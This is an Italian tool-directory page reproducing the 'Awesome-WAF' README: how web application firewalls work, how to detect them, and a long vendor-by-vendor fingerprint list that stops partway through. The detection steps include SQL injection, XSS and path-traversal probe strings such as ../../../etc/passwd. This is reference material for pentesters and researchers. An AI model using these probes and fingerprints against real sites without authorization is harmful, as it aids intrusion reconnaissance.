Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Awesome-WAF — Tutto sui Web Application Firewall (WAF) dal punto di vista della sicurezza! 🔥 | Kitploit
Strumenti/GitHubGitHub/0xinfection/awesome-waf
Bypass WAFSicurezza WebApprendimento e FormazioneRisorse Curate
GitHub0xinfection/awesome-waf

Awesome-WAF

Tutto sui Web Application Firewall (WAF) dal punto di vista della sicurezza! 🔥

Vedi Repository
7.6k1.2k4 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Awesome WAF Awesome

Tutto sui web application firewall (WAF) da una prospettiva di sicurezza. 🔥

Prefazione: Questa era originariamente la mia collezione personale sui WAF. La sto rilasciando come open-source nella speranza che possa essere utile per pentester e ricercatori. Come si dice, "la comunità impara gli uni dagli altri."

Main Logo

Una Definizione Concisa: Un firewall è un punto di enforcement delle policy di sicurezza posizionato tra un'applicazione web e l'endpoint client. Questa funzionalità può essere implementata in software o hardware, eseguita in un appliance o in un server tipico che esegue un sistema operativo comune. Può essere un dispositivo standalone o integrato in altri componenti di rete. (Fonte: PCI DSS IS 6.6)

Un web-application firewall si trova tra un utente e un'app web e ha il compito di prevenire che attività maliziose raggiungano l'app web. Un WAF o filtra la parte maliziosa della richiesta o semplicemente la blocca.

Sentiti libero di contribuire.

Contenuti:

  • Introduzione
    • Come Funzionano i WAF
    • Modalità Operative
  • Metodologia di Test
    • Dove Cercare
    • Tecniche di Rilevamento
  • Impronte dei WAF
  • Tecniche di Evasione
    • Fuzzing/Bruteforcing
    • Regex Reversing
    • Offuscamento/Codifica
    • Bug del Browser
    • Spoofing dell'Header HTTP
    • Approccio con Google Dorks
  • Bypass Noti
  • Awesome Tooling
    • Fingerprinting
    • Test
    • Evasione
  • Blog e Writeup
  • Presentazioni Video
  • Presentazioni di Ricerca e Paper
    • Paper di Ricerca
    • Slide di Presentazione
  • Licenza e Crediti

Introduzione:

Come Funzionano i WAF:

  • Utilizzando un insieme di regole per distinguere tra richieste normali e richieste maliziose.
  • A volte utilizzano una modalità di apprendimento per aggiungere regole automaticamente imparando il comportamento dell'utente.

Modalità Operative:

  • Modello Negativo (Basato su Blacklist) - Un modello basato su blacklist utilizza firme preimpostate per bloccare richieste chiaramente dannose. Le firme dei WAF che operano in modalità negativa sono specificamente create per prevenire attacchi che sfruttano certe vulnerabilità delle applicazioni web. I WAF basati su modello negativo sono un'ottima scelta per applicazioni web esposte a internet pubblico e sono molto efficaci contro le vulnerabilità principali. Es: regola per bloccare tutti gli input <script>*</script> prevengono attacchi base di cross-site scripting.
  • Modello Positivo (Basato su Whitelist) - Un modello basato su whitelist consente solo il traffico web secondo criteri specificamente configurati. Per esempio, può essere configurato per permettere solo richieste HTTP GET da certi indirizzi IP. Questo modello può essere molto efficace per bloccare potenziali attacchi su larga scala, ma bloccherà anche molto traffico legittimo. I firewall basati su whitelist sono probabilmente più adatti per applicazioni web su una rete interna progettate per essere usate solo da un gruppo limitato di persone, come i dipendenti.
  • Modello Misto/Ibrido (Modello Inclusivo) - Un modello di sicurezza ibrido combina sia whitelisting che blacklisting. A seconda di tutti i tipi di specifiche di configurazione, i firewall ibridi potrebbero essere la scelta migliore sia per applicazioni web su reti interne che per applicazioni web su internet pubblico. Un buon scenario può essere quando l'applicazione web è esposta a internet pubblico (usa blacklist) mentre il pannello di amministrazione deve essere esposto solo a un sottoinsieme di utenti (usa whitelist).

Metodologia di Test:

Dove Cercare:

  • Tieni sempre d'occhio le porte comuni che espongono un WAF, ovvero le porte 80, 443, 8000, 8080 e 8888. Tuttavia, è importante notare che un WAF può essere facilmente distribuito su qualsiasi porta che esegue un servizio HTTP. È bene enumerare prima le porte dei servizi HTTP e poi cercare i WAF.
  • Alcuni WAF impostano i propri cookie nelle richieste (es. Citrix Netscaler, Yunsuo WAF).
  • Alcuni si associano a header separati (es. Anquanbao WAF, Amazon AWS WAF).
  • Alcuni spesso alterano gli header e rimescolano i caratteri per confondere l'attaccante (es. Netscaler, Big-IP).
  • Alcuni si espongono nell'header Server (es. Approach, WTS WAF).
  • Alcuni WAF si espongono nel contenuto della risposta (es. DotDefender, Armor, Sitelock).
  • Altri WAF rispondono con codici di risposta insoliti a richieste maliziose (es. WebKnight, 360 WAF).

Tecniche di Rilevamento:

Per identificare i WAF, dobbiamo provocarli (in modo fittizio).

  1. Esegui una normale richiesta GET da un browser, intercetta e registra gli header della risposta (in particolare i cookie).
  2. Esegui una richiesta da riga di comando (es. cURL) e testa il contenuto della risposta e gli header (senza user-agent incluso).
  3. Esegui richieste GET su porte aperte casuali e cattura i banner che potrebbero esporre l'identità del WAF.
  4. Su pagine di login, inietta payload comuni (facilmente rilevabili) come " or 1 = 1 --.
  5. Inietta payload rumorosi come <script>alert()</script> in barre di ricerca, moduli di contatto e altri campi di input.
  6. Allega un fittizio ../../../etc/passwd a un parametro casuale alla fine dell'URL.
  7. Aggiungi alcune parole chiave accattivanti come ' OR SLEEP(5) OR ' alla fine degli URL su un parametro casuale.
  8. Esegui richieste GET con protocolli obsoleti come HTTP/0.9 (HTTP/0.9 non supporta query di tipo POST).
  9. Spesso il WAF varia l'header Server in base a diversi tipi di interazioni.
  10. Tecnica dell'Azione Drop - Invia un pacchetto FIN/RST grezzo e artefatto al server e identifica la risposta.

    Suggerimento: Questo metodo può essere facilmente realizzato con strumenti come HPing3 o Scapy.

  11. Attacchi a Canale Laterale - Esamina il comportamento temporale della richiesta e del contenuto della risposta.

    Maggiori dettagli possono essere trovati in un .

Impronte dei WAF

Vuoi fare fingerprinting dei WAF? Vediamo come.

NOTA: Questa sezione contiene tecniche manuali di rilevamento WAF. Potresti voler passare alla prossima sezione.





## Tecniche di Evasione Diamo un'occhiata ad alcuni metodi per bypassare ed evadere i WAF.
Scarica lo strumento
Suggerimento:
post del blog qui
WAFImpronte digitali
360
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Restituisce il codice di stato 493 in caso di richieste insolite.
    • La pagina di blocco può contenere un riferimento alla directory wzws-waf-cgi/.
    • Il sorgente della pagina di risposta bloccata può contenere:
      • Riferimento all'URL wangshan.360.cn.
      • Frammento di testo Sorry! Your access has been intercepted because your links may threaten website security..
    • Le intestazioni di risposta possono contenere l'intestazione X-Powered-By-360WZB.
    • Le intestazioni di risposta bloccata contengono l'intestazione univoca WZWS-Ray.
    • L'intestazione Server può contenere il valore qianxin-waf.
aeSecure
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Il contenuto della risposta bloccata contiene l'immagine aesecure_denied.png (vedi sorgente per verificare).
    • Le intestazioni di risposta contengono il valore aeSecure-code.
Airlock
  • Rilevabilità: Media/Difficile
  • Metodologia di rilevamento:
    • Le intestazioni Set-Cookie possono contenere:
      • Nome del campo cookie AL-SESS (senza distinzione tra maiuscole e minuscole).
      • Valore AL-LB (senza distinzione tra maiuscole e minuscole).
    • La pagina di risposta bloccata contiene:
      • Testo Server detected a syntax error in your request.
      • Frammento di testo Check your request and all parameters.
AlertLogic
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • Frammento di testo We are sorry, but the page you are looking for cannot be found.
      • Testo The page has either been removed, renamed or temporarily unavailable.
      • 404 Not Found in lettere rosse.
Aliyundun
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • Frammento di testo Sorry, your request has been blocked as it may cause potential threats to the server's security.
      • Riferimento all'URL del sito errors.aliyun.com.
    • Il codice di risposta bloccata restituito è 405.
Anquanbao
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Restituisce il codice di risposta HTTP bloccato 405 in caso di richieste dannose.
    • Il contenuto della risposta bloccata può contenere /aqb_cc/error/ o hidden_intercept_time.
    • Le intestazioni di risposta contengono il campo intestazione X-Powered-by-Anquanbao.
Anyu
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della risposta bloccata contiene Sorry! your access has been intercepted by AnYu
    • La pagina di risposta bloccata contiene il testo AnYu- the green channel.
    • Le intestazioni di risposta possono contenere l'intestazione insolita WZWS-RAY.
Approach
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della pagina di risposta bloccata può contenere:
      • Intestazione Approach Web Application Firewall Framework.
      • Avviso Your IP address has been logged and this information could be used by authorities to track you..
      • Parola chiave Sorry for the inconvenience!.
      • Frammento di testo Approach infrastructure team.
    • L'intestazione Server ha il valore del campo impostato su Approach.
Armor Defense
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della risposta bloccata contiene:
      • Testo This request has been blocked by website protection from Armor.
      • Frammento If you manage this domain please create an Armor support ticket.
ArvanCloud
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave ArvanCloud.
ASPA
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave ASPA-WAF.
    • La risposta contiene l'intestazione univoca ASPA-Cache-Status con contenuto HIT o MISS.
ASP.NET Generic
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta possono contenere il valore dell'intestazione X-ASPNET-Version.
    • Il contenuto della pagina di risposta bloccata può contenere:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Parola chiave Error Code 0x00000000<.
    • L'intestazione X-Powered-By ha il valore del campo impostato su ASP.NET.
Astra
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della pagina di risposta bloccata può contenere:
      • Sorry, this is not allowed. in h1.
      • Frammento di testo our website protection system has detected an issue with your IP address and wont let you proceed any further.
      • Riferimento all'URL www.getastra.com/assets/images/.
    • I cookie di risposta hanno il valore del campo cz_astra_csrf_cookie nelle intestazioni di risposta.
AWS ELB
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta potrebbero contenere:
      • Valore del campo cookie AWSALB.
      • Intestazione X-AMZ-ID.
      • Intestazione X-AMZ-REQUEST-ID.
    • La pagina di risposta può contenere:
      • Access Denied nella sua parola chiave.
      • ID del token di richiesta con lunghezza da 20 a 25 tra il tag RequestId.
    • Il campo intestazione Server contiene il valore awselb/2.0.
Baidu Yunjiasu
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • L'intestazione Server può contenere il valore Yunjiasu-nginx.
    • L'intestazione Server può contenere il valore Yunjiasu.
Barikode
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della pagina di risposta bloccata contiene:
      • Parola chiave BARIKODE.
      • Frammento di testo Forbidden Access in h1.
Barracuda
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • I cookie di risposta possono contenere il valore barra_counter_session.
    • Le intestazioni di risposta possono contenere la parola chiave barracuda_.
  • La pagina di risposta contiene:
    • Intestazione You have been blocked.
    • Testo You are unable to access this website.
Bekchy
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta bloccata contengono Bekchy - Access Denied.
    • La pagina di risposta bloccata contiene un riferimento a https://bekchy.com/report.
BinarySec
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono:
      • Campo X-BinarySec-Via.
      • Campo X-BinarySec-NoCache.
      • L'intestazione Server contiene la parola chiave BinarySec.
BitNinja
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata può contenere:
      • Frammento di testo Security check by BitNinja.
      • your IP will be removed from BitNinja.
      • Frammento di testo Visitor anti-robot validation.
      • Testo (You will be challenged by a reCAPTCHA page).
BIG-IP ASM
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta possono contenere il valore della parola chiave BigIP o F5.
    • I campi dell'intestazione di risposta possono contenere l'intestazione X-WA-Info.
    • Le intestazioni di risposta potrebbero avere il valore del campo X-Cnection rimescolato.
BlockDos
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • L'intestazione Server contiene il valore BlockDos.net.
Bluedon IST
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene il valore del campo BDWAF.
    • La pagina di risposta bloccata contiene il frammento di testo Bluedon Web Application Firewall.
BulletProof Security Pro
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • div con id come frammento di testo bpsMessage.
      • Frammento di testo If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page..
CDN NS Application Gateway
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene il frammento di testo CdnNsWAF Application Gateway.
Cerber (WordPress)
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • Frammento di testo We're sorry, you are not allowed to proceed.
      • Avviso Your request looks suspicious or similar to automated requests from spam posting software.
Chaitin Safeline
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene la parola chiave event_id all'interno di commenti HTML.
ChinaCache
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il campo Powered-by-ChinaCache.
Cisco ACE XML Gateway
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • L'intestazione Server ha il valore ACE XML Gateway impostato.
Cloudbric
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Il contenuto della risposta contiene:
      • Intestazione Malicious Code Detected.
      • Frammento di testo Your request was blocked by Cloudbric.
      • Riferimento all'URL https://cloudbric.zendesk.com.
      • Testo Cloudbric Help Center.
      • Titolo della pagina che inizia con Cloudbric | ERROR!.
Cloudflare
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta potrebbero avere il valore del campo cf-ray.
    • Il campo intestazione Server ha valore cloudflare.
    • Le intestazioni di risposta Set-Cookie hanno il campo cookie __cfuid=.
    • Il contenuto della pagina potrebbe avere Attention Required! o Cloudflare Ray ID:.
    • Il contenuto della pagina può contenere DDoS protection by Cloudflare come testo.
    • Potresti incontrare CLOUDFLARE_ERROR_500S_BOX quando raggiungi URL non validi.
CloudfloorDNS
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il campo intestazione Server ha valore CloudfloorDNS WAF.
    • Il titolo della pagina di blocco potrebbe avere CloudfloorDNS - Web Application Firewall Error.
    • Il contenuto della pagina può contenere l'URL www.cloudfloordns.com/contact come link di contatto.
Cloudfront
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della risposta bloccata contiene l'errore Generated by cloudfront (CloudFront) su richiesta dannosa.
Comodo cWatch
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene il valore Protected by COMODO WAF.
CrawlProtect
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • I cookie di risposta potrebbero contenere il nome del cookie crawlprotect.
    • Il titolo della pagina di blocco contiene la parola chiave CrawlProtect.
    • Il contenuto della risposta bloccata contiene il valore
      This site is protected by CrawlProtect !!! su richiesta dannosa.
Deny-All
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • Il contenuto della risposta contiene il valore Condition Intercepted.
    • L'intestazione Set-Cookie contiene il campo cookie sessioncookie.
Distil Web Protection
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il valore del campo X-Distil-CS in tutte le richieste.
    • La pagina di risposta bloccata contiene:
      • Intestazione Pardon Our Interruption....
      • Frammento di testo You have disabled javascript in your browser..
      • Testo Something about your browser made us think that you are a bot..
DoSArrest Internet Security
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il valore del campo X-DIS-Request-ID.
    • L'intestazione Server contiene la parola chiave DOSarrest.
DotDefender
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della risposta bloccata contiene il valore
      dotDefender Blocked Your Request.
    • Le intestazioni di risposta bloccata contengono il valore del campo X-dotDefender-denied.
DynamicWeb Injection Check
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta bloccata contengono il campo X-403-Status-By con valore dw-inj-check.
e3Learning Security
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave e3Learning_WAF.
EdgeCast (Verizon)
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della risposta bloccata contiene il valore
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Il codice di risposta bloccata restituisce 400 Bad Request su richieste dannose.
Eisoo Cloud
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della pagina di risposta bloccata può contenere:
      • Riferimento a /eisoo-firewall-block.css.
      • URL www.eisoo.com.
      • Parola chiave © (year) Eisoo Inc..
    • L'intestazione Server ha il valore del campo impostato su EisooWAF-AZURE/EisooWAF.
Expression Engine
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata restituisce generalmente Invalid URI.
    • Il contenuto della risposta bloccata contiene il valore Invalid GET Request su richieste GET dannose.
    • Le richieste POST bloccate contengono Invalid Data nel contenuto della risposta.
F5 ASM
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • Il contenuto della risposta bloccata contiene l'avviso
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono FORTIWAFSID= su richieste dannose.
    • La pagina di risposta bloccata contiene:
      • Riferimento all'icona immagine .fgd_icon.
      • Server Unavailable! come intestazione.
      • Server unavailable. Please visit later. come testo.
GoDaddy
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene il valore
      Access Denied - GoDaddy Website Firewall.
GreyWizard
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • Grey Wizard come titolo.
      • Frammento di testo Contact the website owner or Grey Wizard.
      • Frammento di testo We've detected attempted attack or non standard traffic from your IP address.
    • L'intestazione Server contiene la parola chiave greywizard.
Huawei Cloud
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • Riferimento all'immagine di errore account.hwclouds.com/static/error/images/404img.jpg.
      • Riferimento all'URL www.hwclouds.com.
      • Riferimento all'e-mail hws_security@{site.tld} per la segnalazione.
HyperGuard
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • L'intestazione Set-Cookie ha il campo cookie ODSESSION= nelle intestazioni di risposta.
IBM DataPower
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il valore del campo X-Backside-Transport con valore OK o FAIL.
Imperva Incapsula
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della pagina di risposta bloccata può contenere:
      • Frammento di testo Powered By Incapsula.
      • Parola chiave Incapsula incident ID.
      • Parola chiave _Incapsula_Resource.
      • Parola chiave subject=WAF Block Page.
    • Le intestazioni di richiesta GET normali contengono il valore visid_incap.
    • Le intestazioni di risposta possono contenere il nome del campo intestazione X-Iinfo.
    • L'intestazione Set-Cookie ha i campi cookie incap_ses e visid_incap.
Imunify360
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave imunify360-webshield.
    • La pagina di risposta contiene:
      • Frammento di testo Powered by Imunify360.
      • imunify360 preloader se il tipo di risposta è JSON.
    • La pagina di risposta bloccata contiene il testo protected by Imunify360.
IndusGuard
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • L'intestazione Server contiene il valore IF_WAF.
    • Il contenuto della risposta bloccata contiene l'avviso
      further investigation and remediation with a screenshot of this page.
    • Le intestazioni di risposta contengono un'intestazione univoca X-Version.
Instart DX
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono l'intestazione univoca X-Instart-Request-ID.
    • Le intestazioni di risposta contengono l'intestazione univoca X-Instart-WL come impronta digitale.
    • Le intestazioni di risposta contengono l'intestazione univoca X-Instart-Cache come impronta digitale.
    • La pagina di risposta bloccata contiene il testo The requested URL was rejected. Please consult with your administrator..
ISA Server
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene:
      • Frammento di testo The ISA Server denied the specified Uniform Resource Locator (URL).
      • Frammento di testo The server denied the specified Uniform Resource Locator (URL). Contact the server administrator..
Janusec Application Gateway
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata mostra un'immagine con il nome e il logo JANUSEC.
    • La pagina di risposta bloccata mostra Janusec Application Gateway su richieste dannose.
Jiasule
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene un riferimento all'URL static.jiasule.com/static/js/http_error.js.
    • L'intestazione Set-Cookie ha il campo cookie _jsluid= o jsl_tracking nelle intestazioni di risposta.
    • L'intestazione Server ha le parole chiave jiasule-WAF.
    • Il contenuto della risposta bloccata ha la parola chiave notice-jiasule.
KeyCDN
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave KeyCDN.
KnownSec
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata mostra l'immagine ks-waf-error.png (vedi sorgente per verificare).
KONA Site Defender (Akamai)
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave AkamaiGHost.
LiteSpeed
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server ha il valore impostato su LiteSpeed.
    • La pagina di risposta contiene:
      • Testo Proudly powered by LiteSpeed Web Server.
      • Riferimento a http://www.litespeedtech.com/error-page.
      • Access to resource on this server is denied.
Malcare
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata può contenere:
      • Frammento di testo Blocked because of Malicious Activities.
      • Frammento di testo Firewall powered by MalCare.
MissionControl Application Shield
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il campo intestazione Server contiene il valore Mission Control Application Shield.
ModSecurity
  • Rilevabilità: Media/Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene:
      • Frammento di testo This error was generated by Mod_Security.
      • Frammento di testo One or more things in your request were suspicious.
      • Frammento di testo rules of the mod_security module.
      • Frammento di testo mod_security rules triggered.
      • Riferimento alla directory /modsecurity-errorpage/.
    • L'intestazione Server può contenere le parole chiave Mod_Security o NYOB.
    • A volte, il codice di risposta a un attacco è 403 mentre la frase di risposta è ModSecurity Action.
ModSecurity CRS
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di blocco si verifica quando si aggiunge un'intestazione di richiesta separata X-Scanner impostata a un particolare livello di paranoia.
NAXSI
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene This Request Has Been Blocked By NAXSI.
    • Le intestazioni di risposta contengono un campo insolito X-Data-Origin con la parola chiave naxsi/waf.
    • L'intestazione Server contiene il valore della parola chiave naxsi/waf.
    • La pagina di risposta bloccata può contenere il codice di errore NAXSI blocked information.
Nemesida
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene Suspicious activity detected. Access to the site is blocked..
    • Contiene un riferimento all'email nwaf@{site.tld}.
Netcontinuum
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • I cookie di sessione contengono il nome del campo cookie NCI__SessionId=.
NetScaler AppFirewall
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta possono contenere
      • Nome del campo intestazione Connection: modificato in nnCoection:.
      • Nome del campo cookie ns_af=.
      • Nome del campo citrix_ns_id.
      • Parola chiave NSC.
      • Valore del campo NS-CACHE.
NevisProxy
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • I cookie dell'intestazione di risposta contengono la parola chiave Navajo.
NewDefend
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene:
      • Riferimento all'URL http://www.newdefend.com/feedback/misinformation/.
      • Riferimento alla directory /nd_block/.
    • L'intestazione Server contiene la parola chiave NewDefend.
Nexusguard
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata ha un riferimento all'URL speresources.nexusguard.com/wafpage/index.html.
NinjaFirewall
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Il titolo della pagina di risposta contiene NinjaFirewall: 403 Forbidden.
    • La pagina di risposta contiene:
      • Frammento di testo For security reasons, it was blocked and logged.
      • Parola chiave NinjaFirewall nel titolo.
    • Restituisce una risposta 403 Forbidden su richieste dannose.
NSFocus
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave NSFocus.
NullDDoS
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave NullDDoS System.
onMessage Shield
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono il campo intestazione X-Engine con valore onMessage Shield.
    • La pagina di risposta bloccata contiene:
      • Parola chiave Blackbaud K-12 conducts routine maintenance.
      • This site is protected by an enhanced security system.
      • Riferimento all'URL https://status.blackbaud.com.
      • Riferimento all'URL https://maintenance.blackbaud.com.
OpenResty Lua WAF
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave openresty/{version}.
    • La pagina di risposta bloccata contiene il testo openresty/{version}.
    • Il codice di risposta bloccata restituito è 406 Not Acceptable.
Palo Alto
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene Virus/Spyware Download Blocked.
    • La pagina di risposta potrebbe contenere il frammento di testo Palo Alto Next Generation Security Platform.
PentaWAF
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave PentaWAF/{version}.
    • La pagina di risposta bloccata contiene il testo PentaWAF/{version}.
PerimeterX
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene un riferimento all'URL
      https://www.perimeterx.com/whywasiblocked.
pkSecurityModule IDS
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Il contenuto della risposta può contenere
      • pkSecurityModule: Security.Alert.
      • Frammento di testo A safety critical request was discovered and blocked.
Positive Technologies Application Firewall
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata contiene Forbidden in h1 seguito da:
    • Request ID: nel formato yyyy-mm-dd-hh-mm-ss-{codice di riferimento}
PowerCDN
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • Le intestazioni di risposta possono contenere
      • Intestazione Via con contenuto powercdn.com.
      • Intestazione X-Cache con contenuto powercdn.com.
      • Intestazione X-CDN con contenuto PowerCDN.
Profense
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni Set-Cookie contengono il nome del campo cookie PLBSID=.
    • L'intestazione Server contiene la parola chiave Profense.
Proventia (IBM)
  • Rilevabilità: Difficile
  • Metodologia di rilevamento:
    • La pagina di risposta bloccata potrebbe contenere il frammento di testo request does not match Proventia rules.
Puhui
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • L'intestazione Server contiene la parola chiave PuhuiWAF.
Qiniu CDN
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Il contenuto della risposta può contenere
      • Le intestazioni di risposta contengono l'intestazione insolita X-Qiniu-CDN con valore impostato su 0 o 1.
Radware Appwall
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • La pagina di risposta contiene il seguente frammento di testo:
      Unauthorized Activity Has Been Detected. e Case Number.
    • La pagina di risposta bloccata ha un riferimento all'email radwarealerting@{site.tld}.
    • La pagina di risposta bloccata ha il titolo impostato su Unauthorized Request Blocked.
    • Le intestazioni di risposta possono contenere il nome del campo intestazione X-SL-CompState.
Reblaze
  • Rilevabilità: Media
  • Metodologia di rilevamento:
    • I cookie nelle intestazioni di risposta contengono il nome del campo intestazione rbzid=.
    • Il valore del campo Server potrebbe contenere il frammento di testo Reblaze Secure Web Gateway.
    • La pagina di risposta contiene:
      • Access Denied (403) in grassetto.
      • Testo Current session has been terminated.
      • For further information, do not hesitate to contact us.
Request Validation Mode
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Un firewall trovato specificamente sui siti web ASP.NET e nessun altro.
    • La pagina di risposta contiene uno dei seguenti frammenti di testo:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Il codice di risposta bloccata restituito è sempre 500 Internal Error.
RSFirewall
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • La pagina di risposta contiene:
      • Parola chiave COM_RSFIREWALL_403_FORBIDDEN.
      • Parola chiave COM_RSFIREWALL_EVENT.
Sabre
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Restituisce il codice di stato 500 Internal Error su richieste dannose.
    • Il contenuto della risposta ha:
      • Email di contatto [email protected].
      • Avviso in grassetto Your request has been blocked.
      • Frammento di testo clicking the above email link will automatically add some important details to the email for us to investigate the problem.
Safe3
  • Rilevabilità: Facile
  • Metodologia di rilevamento:
    • Le intestazioni di risposta contengono:
